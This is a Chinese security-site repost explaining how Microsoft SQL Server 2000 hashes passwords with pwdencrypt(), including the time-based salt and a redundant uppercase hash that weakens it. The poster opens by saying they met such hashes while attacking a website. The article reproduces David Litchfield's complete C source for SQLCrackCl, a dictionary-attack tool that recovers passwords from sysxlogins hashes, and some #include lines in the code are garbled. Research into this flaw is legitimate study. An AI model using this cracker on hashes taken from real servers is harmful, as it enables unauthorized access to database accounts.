首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>入侵实例>文章内容
破解MSSQL中的HASH密码
来源:vfocus.net 作者:vfocus 发布时间:2011-11-03  
今天攻击一个网站的时候遇到了MSSQL的HASH密码,在网上转了一大圈,找到一篇文章讲述的比较详细,与大家分享下~~~
 
SQL服务器是怎样储存密码的?
 
SQL服务器使用了一个没有公开的函数pwdencrypt()对用户密码产生一个hash。通过研究我们可以发现这个hash储存在mater数据库的sysxlogins表里面。这个可能已经是众所周知的事情了。
 
pwdencrypt()函数还没有公布详细的资料,我们这份文档将详细对这个函数进行讨论,并将指出sql服务器储存hash的这种方法的一些不足之处。实际上,等下我将会说‘密码hashes’。(allyesno:后文会讨论到,由于时间的关系即使当密码相同的时候生成的hash也并不是唯一一个,所以是hashes)
 
SQL的密码hash看起来是怎样的呢?
 
我们使用查询分析器,或者任何一个SQL客户端来执行这条语句:select password from master.dbo.sysxlogins where name='sa'
 
屏幕会返回类似下面这行字符串的东东。0x01008D504D65431D6F8AA7AED333590D7DB1863CBFC98186BFAE06EB6B327EFA5449E6F649BA954AFF4057056D9B
 
这是我机子上登录密码的hash。
 
通过分析hash我们可以从中获取pwdencrypt()的一些什么信息?
 
1.时间
 
首先我们使用查询 select pwdencrypt() 来生成hash
 
select pwdencrypt('ph4nt0m')
 
生成hash
 
0x01002717D406C3CD0954EA4E909A2D8FE26B55A19C54EAC3123E8C65ACFB8F6F9415946017F7D4B8279BA19EFE77
 
ok再一次 select pwdencrypt('ph4nt0m')
 
0x0100B218215F1C57DD1CCBE3BD05479B1451CDB2DD9D1CE2B3AD8F10185C76CC44AFEB3DB854FB343F3DBB106CFB
 
我们注意到,虽然两次我们加密的字符串都是ph4nt0m但是生成的hash却不一样。那么是什么使两次hash的结果不一样呢,我们大胆的推测是时间在这里面起到了关键的作用,它是创建密码hashes和储存hashes的重要因素。之所以使用这样的方式,是因为当两个人输入同样的密码时可以以此产生不同的密码hashes用来掩饰他们的密码是相同的。
 
2.大小写(广告时间:英汉网络技术词汇这本字典好,翻译的时候很多金山词霸找不到的东西,它都能弄出来)
 
使用查询
 
select pwdencrypt('ALLYESNO')
 
我们将得到hash
 
0x01004C61CD2DD04D67BD065181E1E8644ACBE3551296771E4C91D04D67BD065181E1E8644ACBE3551296
771E4C91
 
通过观察,我们可以发现这段hash中有两段是相同的,如果你不能马上看出来,让我们把它截断来看。
 
0x0100(固定)
4C61CD2D(补充key)
D04D67BD065181E1E8644ACBE3551296771E4C91(原型hash)
D04D67BD065181E1E8644ACBE3551296771E4C91(大写hash)
 
现在我们可以看出来最后两组字符串是一模一样的了。这说明这段密码被相同的加密方式进行了两次加密。一组是按照字符原型进行加密,另一组是按照字符的大写形式进行了加密。当有人尝试破解SQL密码的时候将会比他预期要容易,这是一个糟糕的加密方式。因为破解密码的人不需要理会字符原型是大写还是小写,他们只需要破解大写字符就可以了。这将大大减少了破解密码者所需要破解密码的字符数量。(allyesno:flashsky的文章《浅谈SQL SERVER数据库口令的脆弱性》中曾经提到“如因为其算法一样,如果HASH1=HASH2,就可以判断口令肯定是未使用字母,只使用了数字和符号的口令”。实际上并不如flashsky所说的完全相同,我们使用了select pwdencrypt()进行加密以后就可以发现使用了数字和符号和大写字母的密码其hash1和hash2都会相同,所以这是flashsky文章中一个小小的bug)
 
补充key
 
根据上文所述,当时间改变的时候也会使得hash改变,在hash中有一些跟时间有关系的信息使得密码的hashes不相同,这些信息是很容易获取的。当我们登录的时候依靠从登录密码中和数据库中储存的hash信息,就可以做一个比较从而分析出这部分信息,我们可以把这部分信息叫做补充key。
 
上文中我们获取的hash中,补充key 4C61CD2D 就是这个信息的一部分。
 
这个key 4C61CD2D 由以下阐述的方法生成。
 
time()C 函数被调用作为一个种子传递给srand()函数。一旦srand()函数被作为rand()函数的种子并且被调用生成伪随机key,srand()就会设置了一个起点产生一系列的(伪)随机key。然后sql服务器会将这个key截断取一部分,放置在内存里面。我们叫它key1。这个过程将会再运行一次并生成另一个key我们叫他key2。两个key连在一起就生成了我们用来加密密码的补充key。
 
密码的散列法
 
用户的密码会被转换成UNICODE形式。补充key会添加到他们后面。例如以下所示:{'A','L','L','Y','E','S','N','O',0x4C,0x61,0xCD,0x2D}
 
以上的字符串将会被sql服务器使用pwdencrypt()函数进行加密(这个函数位于advapi32.dll)。生成两个hash
 
0x0100(固定)
4C61CD2D(补充key)
D04D67BD065181E1E8644ACBE3551296771E4C91(原型hash)
D04D67BD065181E1E8644ACBE3551296771E4C91(大写hash)
 
验证过程
 
用户登录SQL服务器的验证过程是这样子的:当用户登陆的时候,SQL服务器在数据库中调用上面例
子中的补充key4C61CD2D,将其附加在字符串“ALLYESNO”的后面,然后使用pwdencrypt()函数进行加密。然后把生成的hash跟数据库内的hash进行对比,以此来验证用户输入的密码是否正确。

 

SQL服务器密码破解
 
我们可以使用同样的方式去破解SQL的密码。当然我们会首先选择使用大写字母和符号做为字典进行破解,这比猜测小写字母要来得容易。
 
一个命令行的MSSQL服务器HASH破解工具源代码
 
以下是引用片段:
/////////////////////////////////////////////////////////////////////////////////
//
// SQLCrackCl
//
// This will perform a dictionary attack against the
// upper-cased hash for a password. Once this
// has been discovered try all case variant to work
// out the case sensitive password.
//
// This code was written by David Litchfield to
// demonstrate how Microsoft SQL Server 2000
// passwords can be attacked. This can be
// optimized considerably by not using the CryptoAPI.
//
// (Compile with VC++ and link with advapi32.lib
// Ensure the Platform SDK has been installed, too!)
//
//////////////////////////////////////////////////////////////////////////////////
#i nclude
#i nclude
#i nclude
FILE *fd=NULL;
char *lerr = "\nLength Error!\n";
int wd=0;
int OpenPasswordFile(char *pwdfile);
int CrackPassword(char *hash);
int main(int argc, char *argv[])
{
int err = 0;
if(argc !=3)
{
printf("\n\n*** SQLCrack *** \n\n");
printf("C:\>%s hash passwd-file\n\n",argv[0]);
printf("David Litchfield (david@ngssoftware.com)\n");
printf("24th June 2002\n");
return 0;
}
err = OpenPasswordFile(argv[2]);
if(err !=0)
{
return printf("\nThere was an error opening the password file %s\n",argv[2]);
}
err = CrackPassword(argv[1]);
fclose(fd);
printf("\n\n%d",wd);
return 0;
}
int OpenPasswordFile(char *pwdfile)
{
fd = fopen(pwdfile,"r");
if(fd)
return 0;
else
return 1;
}
int CrackPassword(char *hash)
{
char phash[100]="";
char pheader[8]="";
char pkey[12]="";
char pnorm[44]="";
char pucase[44]="";
char pucfirst[8]="";
char wttf[44]="";
char uwttf[100]="";
char *wp=NULL;
char *ptr=NULL;
int cnt = 0;
int count = 0;
unsigned int key=0;
unsigned int t=0;
unsigned int address = 0;
unsigned char cmp=0;
unsigned char x=0;
HCRYPTPROV hProv=0;
HCRYPTHASH hHash;
DWORD hl=100;
unsigned char szhash[100]="";
int len=0;
if(strlen(hash) !=94)
{
return printf("\nThe password hash is too short!\n");
}
if(hash[0]==0x30 && (hash[1]== ’x’ || hash[1] == ’X’))
{
hash = hash + 2;
strncpy(pheader,hash,4);
printf("\nHeader\t\t: %s",pheader);
if(strlen(pheader)!=4)
return printf("%s",lerr);
hash = hash + 4;
strncpy(pkey,hash,8);
printf("\nRand key\t: %s",pkey);
if(strlen(pkey)!=8)
return printf("%s",lerr);
hash = hash + 8;
strncpy(pnorm,hash,40);
printf("\nNormal\t\t: %s",pnorm);
if(strlen(pnorm)!=40)
return printf("%s",lerr);
hash = hash + 40;
strncpy(pucase,hash,40);
printf("\nUpper Case\t: %s",pucase);
if(strlen(pucase)!=40)
return printf("%s",lerr);
strncpy(pucfirst,pucase,2);
sscanf(pucfirst,"%x",&cmp);
}
else
{
return printf("The password hash has an invalid format!\n");
}
printf("\n\n Trying...\n");
if(!CryptAcquireContextW(&hProv, NULL , NULL , PROV_RSA_FULL ,0))
{
if(GetLastError()==NTE_BAD_KEYSET)
{
// KeySet does not exist. So create a new keyset
if(!CryptAcquireContext(&hProv,
NULL,
NULL,
PROV_RSA_FULL,
CRYPT_NEWKEYSET ))
{
printf("FAILLLLLLL!!!");
return FALSE;
}
}
}
while(1)
{
// get a word to try from the file
ZeroMemory(wttf,44);
if(!fgets(wttf,40,fd))
return printf("\nEnd of password file. Didn’t find the password.\n");
wd++;
len = strlen(wttf);
wttf[len-1]=0x00;
ZeroMemory(uwttf,84);

 

// Convert the word to UNICODE
while(count < len)
{
uwttf[cnt]=wttf[count];
cnt++;
uwttf[cnt]=0x00;
count++;
cnt++;
}
len --;
wp = &uwttf;
sscanf(pkey,"%x",&key);
cnt = cnt - 2;
// Append the random stuff to the end of
// the uppercase unicode password
t = key >> 24;
x = (unsigned char) t;
uwttf[cnt]=x;
cnt++;
t = key << 8;
t = t >> 24;
x = (unsigned char) t;
uwttf[cnt]=x;
cnt++;
t = key << 16;
t = t >> 24;
x = (unsigned char) t;
uwttf[cnt]=x;
cnt++;
t = key << 24;
t = t >> 24;
x = (unsigned char) t;
uwttf[cnt]=x;
cnt++;
// Create the hash
if(!CryptCreateHash(hProv, CALG_SHA, 0 , 0, &hHash))
{
printf("Error %x during CryptCreatHash!\n", GetLastError());
return 0;
}
if(!CryptHashData(hHash, (BYTE *)uwttf, len*2+4, 0))
{
printf("Error %x during CryptHashData!\n", GetLastError());
return FALSE;
}
CryptGetHashParam(hHash,HP_HASHVAL,(byte*)szhash,&hl,0);
// Test the first byte only. Much quicker.
if(szhash[0] == cmp)
{
// If first byte matches try the rest
ptr = pucase;
cnt = 1;
while(cnt < 20)
{
ptr = ptr + 2;
strncpy(pucfirst,ptr,2);
sscanf(pucfirst,"%x",&cmp);
if(szhash[cnt]==cmp)
cnt ++;
else
{
break;
}
}
if(cnt == 20)
{
// We’ve found the password
printf("\nA MATCH!!! Password is %s\n",wttf);
return 0;
}
}
count = 0;
cnt=0;
}
return 0;
}


 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·另类网站入侵之一句话木马图片的
·0day批量拿站webshell,挖掘机是
·利用ewebeditor 5.5 - 6.0 鸡肋
·OmniPeek抓包的一点看法
·强大的嗅探工具ettercap使用教程
·Windows系统密码破解全攻略
·破解禁止SSID广播
·XSS偷取密码Cookies通用脚本
·XSS漏洞基本攻击代码
·Intel 3945ABG用OmniPeek 4.1抓
·KesionCMS V7.0科汛内容网站管理
·破解无线过滤MAC
  相关文章
·友情检测红黑联盟
·linux不提权跨目录访问的代码
·CNBETA第一次渗透纪实
·Understanding MD5 Length Exten
·利用ntfs流隐藏你的一句话木马
·一次真正的WEB2.0渗透全过程
·Metasploit 权限提升
·使用低权限 Oracle 数据库账户得
·Mysql Database SMBRelay AttAck
·PostgreSQL Database SMBRelay A
·强大的嗅探工具ettercap使用教程
·利用WMI打造完美“三无”后门
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved